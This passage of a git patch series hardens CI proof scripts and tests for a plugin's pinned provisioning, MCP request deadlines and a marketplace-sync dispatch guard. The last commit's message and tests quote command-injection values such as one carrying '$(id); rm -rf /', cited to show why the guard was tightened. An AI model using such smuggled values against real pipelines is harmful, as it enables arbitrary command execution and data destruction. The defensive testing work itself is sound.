"search") @@ -80,21 +124,67 @@ def _run_shared_deadline_leg() -> None: ) +def _run_transport_deadline_leg() -> None: + clock = _VirtualClock() + # The first answer arrives late enough that a request minting its own full budget would + # outlive the shared bound. The host then goes silent, so the transport wait is the only + # thing left that can overrun. + host = _ScriptedHost( + clock, + _TIMEOUT_SECS, + ["preparing", "silent"], + [10.0, _NEVER], + ) + with patch.object(subprocess_control, "time", clock): + try: + host.search_until_ready({"query": "self-test"}, "search") + except ProofFailure: + pass + else: + raise ProofFailure("search_until_ready did not fail on a host that stopped answering") + require( + clock.now <= _TIMEOUT_SECS, + f"a request under search_until_ready minted its own budget: waited {clock.now}s " + f"against its {_TIMEOUT_SECS}s bound", + ) + + def _run_default_deadline_leg() -> None: clock = _VirtualClock() - host = _ScriptedHost(_TIMEOUT_SECS, ["preparing", "preparing", "ready"]) + # A host that never becomes ready pins the default bound in both directions: a default + # that grew past self.timeout keeps retrying past _TIMEOUT_SECS, and one that shrank gives + # up before it. + host = _ScriptedHost(clock, _TIMEOUT_SECS, ["preparing"]) with patch.object(subprocess_control, "time", clock): - _, attempts = host.tool_until_ready("search", {"query": "self-test"}, "search") + try: + host.tool_until_ready("search", {"query": "self-test"}, "search") + except ProofFailure: + pass + else: + raise ProofFailure("tool_until_ready did not fail on a host that never became ready") + attempts = host.tool_attempt_counts.get("search") require( attempts == 3 and clock.now == _TIMEOUT_SECS, f"tool_until_ready without a deadline changed its own bound: {attempts} attempts " - f"over {clock.now}s", + f"over {clock.now}s against {_TIMEOUT_SECS}s", + ) + + +def _run_converging_host_leg() -> None: + clock = _VirtualClock() + host = _ScriptedHost(clock, _TIMEOUT_SECS, ["preparing", "ready"]) + with patch.object(subprocess_control, "time", clock): + _, attempts = host.tool_until_ready("search", {"query": "self-test"}, "search") + require( + attempts == 2 and clock.now <= _TIMEOUT_SECS, + f"tool_until_ready gave up on a host that converged inside the bound: {attempts} " + f"attempts over {clock.now}s", ) def _run_threaded_deadline_leg() -> None: clock = _VirtualClock() - host = _ScriptedHost(_TIMEOUT_SECS, ["preparing"]) + host = _ScriptedHost(clock, _TIMEOUT_SECS, ["preparing"]) with patch.object(subprocess_control, "time", clock): try: host.tool_until_ready( @@ -113,7 +203,32 @@ def _run_threaded_deadline_leg() -> None: ) +def _run_threaded_transport_deadline_leg() -> None: + clock = _VirtualClock() + # A caller-owned deadline has to reach the transport too, not only the readiness retries. + host = _ScriptedHost(clock, _TIMEOUT_SECS, ["silent"], [_NEVER]) + with patch.object(subprocess_control, "time", clock): + try: + host.tool_until_ready( + "search", + {"query": "self-test"}, + "search", + deadline=clock.monotonic() + 5.0, + ) + except ProofFailure: + pass + else: + raise ProofFailure("tool_until_ready ignored a caller-owned deadline") + require( + clock.now <= 5.0, + f"the transport ignored a caller-owned 5.0s deadline and waited {clock.now}s", + ) + + def run_process_deadline_self_tests() -> None: _run_shared_deadline_leg() + _run_transport_deadline_leg() _run_default_deadline_leg() + _run_converging_host_leg() _run_threaded_deadline_leg() + _run_threaded_transport_deadline_leg() diff --git a/.github/scripts/packaged_agent_proof/subprocess_control.py b/.github/scripts/packaged_agent_proof/subprocess_control.py index c40d86ed1..fac55f840 100644 --- a/.github/scripts/packaged_agent_proof/subprocess_control.py +++ b/.github/scripts/packaged_agent_proof/subprocess_control.py @@ -143,11 +143,16 @@ def _stderr_reader(self) -> None: assert self.process.stderr self.stderr.extend(self.process.stderr.readlines()) - def send(self, request: dict) -> dict: + def send(self, request: dict, deadline: float | None = None) -> dict: assert self.process.stdin self.process.stdin.write(json.dumps(request) + "\n") self.process.stdin.flush() - deadline = time.monotonic() + self.timeout + # A caller that already owns a bound threads it in; otherwise this call owns its own. + # Minting a fresh full budget underneath a caller's deadline is how a readiness loop + # burns several times the declared timeout: the loop only re-checks its bound between + # transport waits, so one late request can add another whole timeout past it. + if deadline is None: + deadline = time.monotonic() + self.timeout while True: remaining = deadline - time.monotonic() require(remaining > 0, f"MCP request timed out: {request.get('id')}") @@ -238,14 +243,21 @@ def resource(self, uri: str, request_id: str) -> dict: uri, ) - def tool(self, name: str, arguments: dict, request_id: str) -> dict: + def tool( + self, + name: str, + arguments: dict, + request_id: str, + deadline: float | None = None, + ) -> dict: response = self.send( { "jsonrpc": "2.0", "id": request_id, "method": "tools/call", "params": {"name": name, "arguments": arguments}, - } + }, + deadline=deadline, ) require("error" not in response, f"MCP {name} failed: {response.get('error')}") return response @@ -258,13 +270,17 @@ def tool_until_ready( deadline: float | None = None, ) -> tuple[dict, int]: # A caller that already owns a bound threads it in; otherwise this call owns its own. + # The same bound has to reach the transport, or each retry's request mints a fresh + # budget and the readiness loop overruns whatever deadline it was handed. if deadline is None: deadline = time.monotonic() + self.timeout attempt = 0 while True: attempt += 1 self.tool_attempt_counts[request_id] = attempt - response = self.tool(name, arguments, f"{request_id}-{attempt}") + response = self.tool( + name, arguments, f"{request_id}-{attempt}", deadline=deadline + ) result = response.get("result") require( isinstance(result, dict), diff --git a/.github/workflows/plugin-release.yml b/.github/workflows/plugin-release.yml index baffe06c1..a2ea6d07b 100644 --- a/.github/workflows/plugin-release.yml +++ b/.github/workflows/plugin-release.yml @@ -154,6 +154,11 @@ jobs: - name: Run the plugin static suite run: node --test plugins/codestory/tests/plugin-static.test.mjs + # Prove the gate below can still fail before trusting it to pass: its wait must bound + # itself on readable non-managed metadata, and it must refuse to exit 0 without proving. + - name: Check the pinned provision proof + run: node --test scripts/tests/prove-plugin-pinned-provision.test.mjs + # The launcher provisions the pinned, already-published CLI over the real # github_release path, which is the one place the pin's content addressing # is enforced. A digest drift between the pin and the published archive diff --git a/.github/workflows/plugin-static.yml b/.github/workflows/plugin-static.yml index ed8da8f08..3efc61e70 100644 --- a/.github/workflows/plugin-static.yml +++ b/.github/workflows/plugin-static.yml @@ -62,6 +62,9 @@ on: - scripts/tests/release-evidence-runner-contract.test.mjs - scripts/codex-worktree-setup.* - scripts/tests/codex-worktree-setup.test.mjs + - scripts/prove-plugin-pinned-provision.mjs + - scripts/lib/wait-for-managed-runtime.mjs + - scripts/tests/prove-plugin-pinned-provision.test.mjs - .codex/environments/environment.toml push: branches: @@ -127,6 +130,9 @@ on: - scripts/tests/release-evidence-runner-contract.test.mjs - scripts/codex-worktree-setup.* - scripts/tests/codex-worktree-setup.test.mjs + - scripts/prove-plugin-pinned-provision.mjs + - scripts/lib/wait-for-managed-runtime.mjs + - scripts/tests/prove-plugin-pinned-provision.test.mjs - .codex/environments/environment.toml workflow_dispatch: @@ -154,6 +160,12 @@ jobs: - name: Check embedded model preparation run: node --test scripts/tests/prepare-embedded-model.test.mjs + # plugin-release.yml gates the `v*` tag on prove-plugin-pinned-provision.mjs, so its + # bounded wait and its refusal to run vacuously are checked here on every PR rather + # than discovered on the release lane. + - name: Check the pinned provision proof + run: node --test scripts/tests/prove-plugin-pinned-provision.test.mjs + - name: Check workflow syntax run: | node --test .github/scripts/run-actionlint.test.mjs diff --git a/scripts/lib/wait-for-managed-runtime.mjs b/scripts/lib/wait-for-managed-runtime.mjs new file mode 100644 index 000000000..edbc21587 --- /dev/null +++ b/scripts/lib/wait-for-managed-runtime.mjs @@ -0,0 +1,48 @@ +// The bounded wait behind scripts/prove-plugin-pinned-provision.mjs. +// +// This module holds no top-level side effects so a test can import the wait without running the +// proof. The proof itself stays an entry point that always executes its body: an entry-point +// guard on a release gate can only fail open, and a gate that exits 0 without proving anything +// is worse than one that fails. + +import fs from "node:fs"; + +// Wait for the launcher to publish managed runtime metadata. +// +// Order matters. The read comes first so a launcher that published managed metadata and then +// exited cleanly is reported as the success it is. The liveness guards then run on every tick +// rather than only when the read throws: a launcher that resolves to a non-managed source (pin +// or archive digest drift) keeps writing a readable file, so guards nested in the read's catch +// would never fire again and the proof would hang until the CI job timeout. +export function waitForManagedRuntime({ child, runtimeMetadata, timeoutMs, intervalMs = 250 }) { + if (!Number.isFinite(timeoutMs) || timeoutMs <= 0) { + throw new TypeError(`waitForManagedRuntime needs a positive finite timeoutMs, got ${timeoutMs}.`); + } + const deadline = Date.now() + timeoutMs; + return new Promise((resolve, reject) => { + const poll = setInterval(() => { + let metadata; + try { + metadata = JSON.parse(fs.readFileSync(runtimeMetadata, "utf8")); + } catch { + // Not written yet, or caught mid-write. Fall through to the guards and read again. + metadata = undefined; + } + if (metadata !== null && typeof metadata === "object" && metadata.source === "managed") { + clearInterval(poll); + resolve(metadata); + return; + } + if (child.exitCode !== null) { + clearInterval(poll); + reject(new Error(`launcher exited ${child.exitCode} before provisioning finished.`)); + return; + } + if (Date.now() > deadline) { + clearInterval(poll); + child.kill(); + reject(new Error(`provisioning did not finish within ${timeoutMs}ms.`)); + } + }, intervalMs); + }); +} diff --git a/scripts/prove-plugin-pinned-provision.mjs b/scripts/prove-plugin-pinned-provision.mjs index b52b056b8..ce63a7918 100644 --- a/scripts/prove-plugin-pinned-provision.mjs +++ b/scripts/prove-plugin-pinned-provision.mjs @@ -7,6 +7,10 @@ // own archive digest, and the provisioned binary must report the pinned version. // // node scripts/prove-plugin-pinned-provision.mjs [--timeout-ms 600000] +// +// This file is an entry point and nothing else imports it, so its body runs unconditionally. +// The bounded wait lives in scripts/lib/wait-for-managed-runtime.mjs, which the test imports +// without running the proof. import { spawn, execFileSync } from "node:child_process"; import fs from "node:fs"; @@ -14,120 +18,87 @@ import os from "node:os"; import path from "node:path"; import { fileURLToPath } from "node:url"; -const scriptPath = fileURLToPath(import.meta.url); -const repositoryRoot = path.resolve(path.dirname(scriptPath), ".."); +import { waitForManagedRuntime } from "./lib/wait-for-managed-runtime.mjs"; + +const repositoryRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), ".."); const launcher = path.join(repositoryRoot, "plugins/codestory/scripts/codestory-mcp.cjs"); +const pin = JSON.parse( + fs.readFileSync(path.join(repositoryRoot, "plugins/codestory/cli-version.json"), "utf8"), +); function fail(message) { console.error(`::error::${message}`); process.exit(1); } -// Wait for the launcher to publish managed runtime metadata. The liveness guards run on every -// tick and never sit behind the metadata read: a launcher that resolves to a non-managed source -// (pin or archive digest drift) keeps writing a readable file, so guards nested in the read's -// catch would never fire and the proof would hang until the CI job timeout. -export function waitForManagedRuntime({ child, runtimeMetadata, timeoutMs, intervalMs = 250 }) { - const deadline = Date.now() + timeoutMs; - return new Promise((resolve, reject) => { - const poll = setInterval(() => { - if (child.exitCode !== null) { - clearInterval(poll); - reject(new Error(`launcher exited ${child.exitCode} before provisioning finished.`)); - return; - } - if (Date.now() > deadline) { - clearInterval(poll); - child.kill(); - reject(new Error(`provisioning did not finish within ${timeoutMs}ms.`)); - return; - } - let metadata; - try { - metadata = JSON.parse(fs.readFileSync(runtimeMetadata, "utf8")); - } catch { - // Not written yet, or caught mid-write. Read again on the next tick. - return; - } - if (metadata.source !== "managed") return; - clearInterval(poll); - resolve(metadata); - }, intervalMs); - }); -} - -function verifyProvision(dataDir, pin) { - const versionDir = path.join(dataDir, "codestory-cli", pin.cli_version); - const manifest = JSON.parse(fs.readFileSync(path.join(versionDir, "manifest.json"), "utf8")); - const target = - process.platform === "darwin" - ? "macos-arm64" - : process.platform === "win32" - ? "windows-x64" - : "linux-x64"; - if (manifest.version !== pin.cli_version) { - fail(`provisioned ${manifest.version}, pin names ${pin.cli_version}.`); - } - if (manifest.build_source !== "github_release") { - fail(`expected a github_release provision, observed ${manifest.build_source}.`); - } - if (pin.archives?.[target] && manifest.archive_sha256 !== pin.archives[target]) { - fail( - `provisioned archive digest ${manifest.archive_sha256} does not match the pin's ` + - `${target} digest ${pin.archives[target]}.`, - ); - } - const binary = path.join(versionDir, manifest.path); - const reported = execFileSync(binary, ["--version"], { encoding: "utf8" }).trim(); - if (!reported.includes(pin.cli_version)) { - fail(`provisioned binary reports "${reported}", expected ${pin.cli_version}.`); - } - console.log( - `Pinned provision proven: ${target} ${pin.cli_version} from github_release, ` + - `archive ${manifest.archive_sha256.slice(0, 12)}…, binary reports "${reported}".`, +// A missing or non-numeric value used to yield NaN, and every `Date.now() > NaN` comparison is +// false, so the one flag that declares the bound silently removed it. Refuse the argument +// instead: an unbounded gate is the failure this timeout exists to prevent. +const timeoutIndex = process.argv.indexOf("--timeout-ms"); +const timeoutMs = timeoutIndex >= 0 ? Number(process.argv[timeoutIndex + 1]) : 600_000; +if (!Number.isFinite(timeoutMs) || timeoutMs <= 0) { + fail( + `--timeout-ms needs a positive number of milliseconds, got ` + + `${JSON.stringify(process.argv[timeoutIndex + 1] ?? null)}.`, ); } -async function main() { - const pin = JSON.parse( - fs.readFileSync(path.join(repositoryRoot, "plugins/codestory/cli-version.json"), "utf8"), - ); +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), "codestory-pin-proof-")); +const runtimeMetadata = path.join(dataDir, ".codestory-mcp-runtime.json"); - const timeoutIndex = process.argv.indexOf("--timeout-ms"); - const timeoutMs = timeoutIndex >= 0 ? Number(process.argv[timeoutIndex + 1]) : 600_000; +const child = spawn(process.execPath, [launcher], { + env: { ...process.env, CODESTORY_CLI: "", PLUGIN_DATA: dataDir }, + stdio: ["pipe", "pipe", "pipe"], +}); +let stderr = ""; +child.stderr.on("data", (chunk) => { + stderr += chunk; +}); +child.stdout.resume(); +child.stdin.write( + `${JSON.stringify({ + jsonrpc: "2.0", + id: 1, + method: "resources/read", + params: { uri: `codestory://status?project=${encodeURIComponent(repositoryRoot)}` }, + })}\n`, +); - const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), "codestory-pin-proof-")); - const runtimeMetadata = path.join(dataDir, ".codestory-mcp-runtime.json"); +try { + await waitForManagedRuntime({ child, runtimeMetadata, timeoutMs }); +} catch (error) { + fail(`${error.message}\n${stderr}`); +} +child.kill(); - const child = spawn(process.execPath, [launcher], { - env: { ...process.env, CODESTORY_CLI: "", PLUGIN_DATA: dataDir }, - stdio: ["pipe", "pipe", "pipe"], - }); - let stderr = ""; - child.stderr.on("data", (chunk) => { - stderr += chunk; - }); - child.stdout.resume(); - child.stdin.write( - `${JSON.stringify({ - jsonrpc: "2.0", - id: 1, - method: "resources/read", - params: { uri: `codestory://status?project=${encodeURIComponent(repositoryRoot)}` }, - })}\n`, +const versionDir = path.join(dataDir, "codestory-cli", pin.cli_version); +const manifest = JSON.parse(fs.readFileSync(path.join(versionDir, "manifest.json"), "utf8")); +const target = + process.platform === "darwin" + ? "macos-arm64" + : process.platform === "win32" + ? "windows-x64" + : "linux-x64"; +if (manifest.version !== pin.cli_version) { + fail(`provisioned ${manifest.version}, pin names ${pin.cli_version}.`); +} +if (manifest.build_source !== "github_release") { + fail(`expected a github_release provision, observed ${manifest.build_source}.`); +} +if (pin.archives?.[target] && manifest.archive_sha256 !== pin.archives[target]) { + fail( + `provisioned archive digest ${manifest.archive_sha256} does not match the pin's ` + + `${target} digest ${pin.archives[target]}.`, ); - - try { - await waitForManagedRuntime({ child, runtimeMetadata, timeoutMs }); - } catch (error) { - fail(`${error.message}\n${stderr}`); - } - child.kill(); - verifyProvision(dataDir, pin); - fs.rmSync(dataDir, { recursive: true, force: true }); - process.exit(0); } - -if (process.argv[1] && path.resolve(process.argv[1]) === scriptPath) { - await main(); +const binary = path.join(versionDir, manifest.path); +const reported = execFileSync(binary, ["--version"], { encoding: "utf8" }).trim(); +if (!reported.includes(pin.cli_version)) { + fail(`provisioned binary reports "${reported}", expected ${pin.cli_version}.`); } +console.log( + `Pinned provision proven: ${target} ${pin.cli_version} from github_release, ` + + `archive ${manifest.archive_sha256.slice(0, 12)}…, binary reports "${reported}".`, +); +fs.rmSync(dataDir, { recursive: true, force: true }); +process.exit(0); diff --git a/scripts/tests/prove-plugin-pinned-provision.test.mjs b/scripts/tests/prove-plugin-pinned-provision.test.mjs index 492593d5e..e16e746fd 100644 --- a/scripts/tests/prove-plugin-pinned-provision.test.mjs +++ b/scripts/tests/prove-plugin-pinned-provision.test.mjs @@ -6,63 +6,69 @@ import path from "node:path"; import test from "node:test"; import { fileURLToPath, pathToFileURL } from "node:url"; -const scriptUrl = pathToFileURL( - path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../prove-plugin-pinned-provision.mjs"), -).href; +const scriptsDir = path.resolve(path.dirname(fileURLToPath(import.meta.url)), ".."); +const proofScript = path.join(scriptsDir, "prove-plugin-pinned-provision.mjs"); +const waitModuleUrl = pathToFileURL(path.join(scriptsDir, "lib/wait-for-managed-runtime.mjs")).href; // The wait must bound itself even when the launcher keeps a readable non-managed metadata file // on disk, so drive it in its own process and kill it if it outlives the bound. A hang here is a // reported failure, not a wedged test run. const KILL_AFTER_MS = 5_000; +function runNode(args, options = {}) { + return new Promise((resolve) => { + const child = spawn(process.execPath, args, { stdio: ["ignore", "pipe", "pipe"], ...options }); + let stdout = ""; + let stderr = ""; + child.stdout.on("data", (chunk) => { + stdout += chunk; + }); + child.stderr.on("data", (chunk) => { + stderr += chunk; + }); + const killer = setTimeout(() => child.kill("SIGKILL"), KILL_AFTER_MS); + child.on("close", (code, signal) => { + clearTimeout(killer); + resolve({ code, signal, stdout, stderr }); + }); + }); +} + function driveWait({ runtimeMetadata, timeoutMs, exitCode }) { const source = ` - import { waitForManagedRuntime } from ${JSON.stringify(scriptUrl)}; + import { waitForManagedRuntime } from ${JSON.stringify(waitModuleUrl)}; const exitCode = ${JSON.stringify(exitCode)}; let killed = false; const child = { exitCode, kill() { killed = true; } }; const started = Date.now(); let outcome; try { - await waitForManagedRuntime({ + const metadata = await waitForManagedRuntime({ child, runtimeMetadata: ${JSON.stringify(runtimeMetadata)}, timeoutMs: ${JSON.stringify(timeoutMs)}, intervalMs: 10, }); - outcome = { settled: "resolved" }; + outcome = { settled: "resolved", metadata }; } catch (error) { outcome = { settled: "rejected", message: error.message }; } console.log(JSON.stringify({ ...outcome, killed, elapsedMs: Date.now() - started })); `; - return new Promise((resolve) => { - const child = spawn(process.execPath, ["--input-type=module", "-e", source], { - stdio: ["ignore", "pipe", "pipe"], - }); - let stdout = ""; - let stderr = ""; - child.stdout.on("data", (chunk) => { - stdout += chunk; - }); - child.stderr.on("data", (chunk) => { - stderr += chunk; - }); - const killer = setTimeout(() => child.kill("SIGKILL"), KILL_AFTER_MS); - child.on("close", (code, signal) => { - clearTimeout(killer); - if (signal || stdout.trim() === "") { - resolve({ settled: "hung", code, signal, stderr }); - return; - } - resolve(JSON.parse(stdout.trim())); - }); + return runNode(["--input-type=module", "-e", source]).then((result) => { + if (result.signal || result.stdout.trim() === "") { + return { settled: "hung", code: result.code, signal: result.signal, stderr: result.stderr }; + } + return JSON.parse(result.stdout.trim()); }); } +function scratchDir() { + return fs.mkdtempSync(path.join(os.tmpdir(), "codestory-pin-proof-test-")); +} + function driftedRuntimeMetadata() { - const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), "codestory-pin-proof-test-")); - const runtimeMetadata = path.join(dataDir, ".codestory-mcp-runtime.json"); + const runtimeMetadata = path.join(scratchDir(), ".codestory-mcp-runtime.json"); // What the launcher writes when the pin's archive digest no longer resolves: readable // metadata that never reaches the managed source the proof is waiting for. fs.writeFileSync( @@ -72,6 +78,12 @@ function driftedRuntimeMetadata() { return runtimeMetadata; } +function managedRuntimeMetadata() { + const runtimeMetadata = path.join(scratchDir(), ".codestory-mcp-runtime.json"); + fs.writeFileSync(runtimeMetadata, JSON.stringify({ source: "managed", cliVersion: "9.9.9" })); + return runtimeMetadata; +} + test("pin drift that keeps runtime metadata readable still times out within the bound", async () => { const outcome = await driveWait({ runtimeMetadata: driftedRuntimeMetadata(), @@ -96,10 +108,70 @@ test("a launcher that exits while runtime metadata stays readable fails fast", a }); test("managed runtime metadata resolves the wait with the published metadata", async () => { - const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), "codestory-pin-proof-test-")); - const runtimeMetadata = path.join(dataDir, ".codestory-mcp-runtime.json"); - fs.writeFileSync(runtimeMetadata, JSON.stringify({ source: "managed", cliVersion: "9.9.9" })); - const outcome = await driveWait({ runtimeMetadata, timeoutMs: 600_000, exitCode: null }); + const outcome = await driveWait({ + runtimeMetadata: managedRuntimeMetadata(), + timeoutMs: 600_000, + exitCode: null, + }); assert.equal(outcome.settled, "resolved", JSON.stringify(outcome)); + assert.equal(outcome.metadata.cliVersion, "9.9.9"); assert.equal(outcome.killed, false, "a successful wait must not kill the launcher itself"); }); + +// The launcher hands off and exits 0 once it has published its manifest, so the exit guard must +// never outrank a completed provision: the metadata read has to settle the tick first. +test("a launcher that published managed metadata and then exited 0 is a success", async () => { + const outcome = await driveWait({ + runtimeMetadata: managedRuntimeMetadata(), + timeoutMs: 600_000, + exitCode: 0, + }); + assert.equal( + outcome.settled, + "resolved", + `a completed provision was reported as a failure: ${JSON.stringify(outcome)}`, + ); + assert.equal(outcome.metadata.source, "managed"); +}); + +test("the wait refuses a timeout that is not a positive number instead of never expiring", async () => { + const outcome = await driveWait({ + runtimeMetadata: driftedRuntimeMetadata(), + timeoutMs: null, + exitCode: null, + }); + assert.equal(outcome.settled, "rejected", `an unbounded wait was accepted: ${JSON.stringify(outcome)}`); + assert.match(outcome.message, /positive finite timeoutMs/u); +}); + +// plugin-release.yml gates the `v*` tag on this script, so every way of invoking it has to reach +// the proof. A wrong entry-point comparison used to exit 0 with no output when the path reached +// the file through a symlink, which is a vacuous pass on the release gate. +for (const invocation of ["direct", "symlinked"]) { + test(`the gate refuses an unusable --timeout-ms when invoked ${invocation}`, async (t) => { + let entry = proofScript; + if (invocation === "symlinked") { + const link = path.join(scratchDir(), "scripts"); + try { + fs.symlinkSync(scriptsDir, link, "dir"); + } catch (error) { + t.skip(`this platform refuses directory symlinks: ${error.code}`); + return; + } + entry = path.join(link, "prove-plugin-pinned-provision.mjs"); + } + const outcome = await runNode([entry, "--timeout-ms", "not-a-number"]); + assert.equal( + outcome.code, + 1, + `the gate did not fail closed: ${JSON.stringify({ ...outcome, entry })}`, + ); + assert.match(outcome.stderr, /::error::--timeout-ms needs a positive number/u); + }); +} + +test("the gate refuses --timeout-ms with no value at all", async () => { + const outcome = await runNode([proofScript, "--timeout-ms"]); + assert.equal(outcome.code, 1, `the gate did not fail closed: ${JSON.stringify(outcome)}`); + assert.match(outcome.stderr, /::error::--timeout-ms needs a positive number/u); +}); From 3788de86dcfd008d5dc42ba1a378a1c67f6e3590 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 09:11:02 -0500 Subject: [PATCH 026/132] match the whole dispatched value and pin what the guard does, not what it quotes `grep -Eq '^...$'` anchors per line, so the coordinate guard accepted any value whose first line was well formed: `abc1234\n$(id); rm -rf /` satisfied the commit shape and carried the payload through, and the same held for the version. The layer the workflow leans on before the ref resolves and before the marketplace token is minted admitted exactly the inputs it exists to refuse. Bash regex has no line concept, so the tests now bound the value itself. The policy around it proved little. `requireStepRun` is substring matching, so a body of `true ''` satisfied it; the version fragment was a truncated prefix, so dropping the closing anchor was invisible; and the ordering assertion never said what the guard was positioned before, so the checkout could resolve `github.ref` and stay green. Fragments now pin each anchored regex together with the comparison that consumes it, a digest over the executable text pins the rest, the guard may not reuse grep, and the checkout must resolve the validated input. The digest stands for a rejection that was measured: the suite runs the guard script straight out of the workflow against multi-line, substitution-carrying and malformed coordinates and requires exit 1 with the guard's own diagnostic. Scope: the same class exists in five sibling dispatch workflows and is tracked separately, so this change stays on marketplace-sync. Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 45 ++++++++- .../scripts/check-workflow-policy.test.mjs | 99 ++++++++++++++++++- .github/workflows/marketplace-sync.yml | 10 +- 3 files changed, 148 insertions(+), 6 deletions(-) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index 9d39b167a..99ff0f270 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -143,6 +143,21 @@ function requireExactResolverContract(violations, file, job, expectedDigest) { ); } +// Fragment assertions are substring matches, so they prove a string is present and nothing about +// what it does: a guard body can be replaced with `true ''` and still satisfy +// them. Digesting the executable text pins the whole script, so any rewrite has to be reviewed +// rather than merely keep the quoted evidence around. Comments are stripped so prose can be +// improved without churning the constant. +function requireExactStepScript(violations, file, job, name, expectedDigest, subject) { + const run = executableRunText(stepRun(job, name)).replace(/\r\n/gu, "\n"); + const digest = createHash("sha256").update(run).digest("hex"); + add( + violations, + run.length > 0 && digest === expectedDigest, + `${file} step ${name} must match the reviewed ${subject} script exactly`, + ); +} + function stepIndex(job, name) { return list(job?.steps).map(object).findIndex(step => step.name === name); } @@ -230,6 +245,9 @@ const draftCachePaths = [ ]; const sourceResolverContractDigest = "2fe869b675010f5db29259aff38d83456c01dbc9885989afbf7c92a2826791af"; const platformResolverContractDigest = "12f5e887eb236625eec5e9718edd305ba625ab06f9a1467ed1146a8a80db0f74"; +// check-workflow-policy.test.mjs runs this exact script against hostile dispatch values and proves +// it exits non-zero, so the digest stands for a rejection that was measured, not merely read. +const marketplaceGuardDigest = "6380c916a1b3566b4b9d6545b63fbc9c7db12b54fb328b5c89316daae0162d84"; const draftProofCommands = [ "cargo test --locked -p codestory-llama-sys --test native_staging", "cargo test --locked -p codestory-llama-sys --test model_staging", @@ -4536,15 +4554,38 @@ export function validateMarketplaceSync(workflows, violations) { } // Shape is proven before the checkout resolves the ref and before any marketplace token exists. const guard = "Validate the dispatched release coordinates"; + // Each fragment pins an anchored regex together with the test that consumes it, so neither the + // closing anchor nor the comparison can go missing on its own. A prefix here would be satisfied + // by an unanchored rewrite that accepts `0.16.3; id`. requireStepRun(violations, file, job, guard, [ - "^[0-9a-fA-F]{7,40}$", - "^[0-9]+\\.[0-9]+\\.[0-9]+", + "commit_shape='^[0-9a-fA-F]{7,40}$'", + "version_shape='^[0-9]+\\.[0-9]+\\.[0-9]+(-[0-9A-Za-z.]+)?$'", + 'if [[ ! "$INPUT_COMMIT" =~ $commit_shape ]]; then', + 'if [[ ! "$INPUT_VERSION" =~ $version_shape ]]; then', ]); + // grep anchors per line, so `printf | grep -Eq '^...$'` passes any value whose *first* line is + // well formed. The guard must match whole values; the digest keeps that property from being + // quietly traded back for a line-oriented test. + forbidStepRun(violations, file, job, guard, ["grep"]); + requireExactStepScript(violations, file, job, guard, marketplaceGuardDigest, "dispatch coordinate guard"); add( violations, stepIndex(job, guard) === 0, `${file} must validate the dispatched coordinates before any other step`, ); + // Ordering only buys something if the guard covers what the next step consumes. Without this the + // checkout could resolve `github.ref` and the validated commit would gate nothing. + const checkout = "Checkout the published commit"; + add( + violations, + object(object(namedStep(job, checkout)).with).ref === bindings.INPUT_COMMIT, + `${file} ${checkout} must resolve the validated ${bindings.INPUT_COMMIT}`, + ); + add( + violations, + stepIndex(job, checkout) > stepIndex(job, guard), + `${file} must validate the dispatched commit before checking it out`, + ); } export function validateWorkflows(workflows, graph = loadReleaseClaimGraph(repositoryRoot)) { diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index 0d5f06d32..479139495 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -123,6 +123,23 @@ ${run}`; }); } +// Runs the marketplace guard exactly as Actions does: the dispatched values arrive through the +// environment, so a value containing a newline stays one value instead of being re-split by the +// harness. Text assertions cannot tell an enforcing guard from a decorative one, so the guard is +// measured against the values it exists to refuse. +function runMarketplaceGuard(environment) { + const workflow = loadWorkflows().get("marketplace-sync.yml"); + const run = draftStep(workflow.jobs.sync, "Validate the dispatched release coordinates").run; + const executable = process.platform === "win32" ? "wsl.exe" : "bash"; + const args = process.platform === "win32" + ? ["--exec", "/bin/bash", "-c", run] + : ["-c", run]; + return spawnSync(executable, args, { + encoding: "utf8", + env: { ...process.env, ...environment }, + }); +} + function windowsManifestJob(workflow) { return workflow.jobs["windows-manifest-missing"]; } @@ -2379,14 +2396,47 @@ test("marketplace sync keeps dispatch inputs out of script text", async (t) => { ["the commit shape check disappears", workflow => { const step = draftStep(workflow.jobs.sync, guard); step.run = step.run.replace("^[0-9a-fA-F]{7,40}$", "^.*$"); - }, /step Validate the dispatched release coordinates must run \^\[0-9a-fA-F\]\{7,40\}\$/u], + }, /must run commit_shape='\^\[0-9a-fA-F\]\{7,40\}\$'/u], ["the version shape check disappears", workflow => { const step = draftStep(workflow.jobs.sync, guard); step.run = step.run.replace("^[0-9]+\\.[0-9]+\\.[0-9]+", "^.+"); - }, /step Validate the dispatched release coordinates must run \^\[0-9\]\+/u], + }, /must run version_shape=/u], + // A prefix fragment cannot see a dropped closing anchor, and an unanchored version regex admits + // `0.16.3; id`. The pinned fragment carries the anchor, so the truncation is a violation. + ["the version regex loses its closing anchor", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replace("(-[0-9A-Za-z.]+)?$'", "'"); + }, /must run version_shape='\^\[0-9\]\+\\\.\[0-9\]\+\\\.\[0-9\]\+\(-\[0-9A-Za-z\.\]\+\)\?\$'/u], + // Substring assertions prove a string is present, not that it is consulted. Both of these keep + // every pinned regex verbatim while the guard stops rejecting anything. + ["the guard body becomes a no-op that still quotes its regexes", workflow => { + draftStep(workflow.jobs.sync, guard).run = + "set -euo pipefail\ntrue 'commit_shape=^[0-9a-fA-F]{7,40}$'" + + " 'version_shape=^[0-9]+\\.[0-9]+\\.[0-9]+(-[0-9A-Za-z.]+)?$'\n"; + }, /must match the reviewed dispatch coordinate guard script exactly/u], + ["the commit comparison is rewired away from its regex", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replace("=~ $commit_shape", "=~ .*"); + }, /must run if \[\[ ! "\$INPUT_COMMIT" =~ \$commit_shape \]\]; then/u], + // grep tests a line, so the whole-value comparison must not be traded back for one. + ["the value comparison reverts to a line-oriented 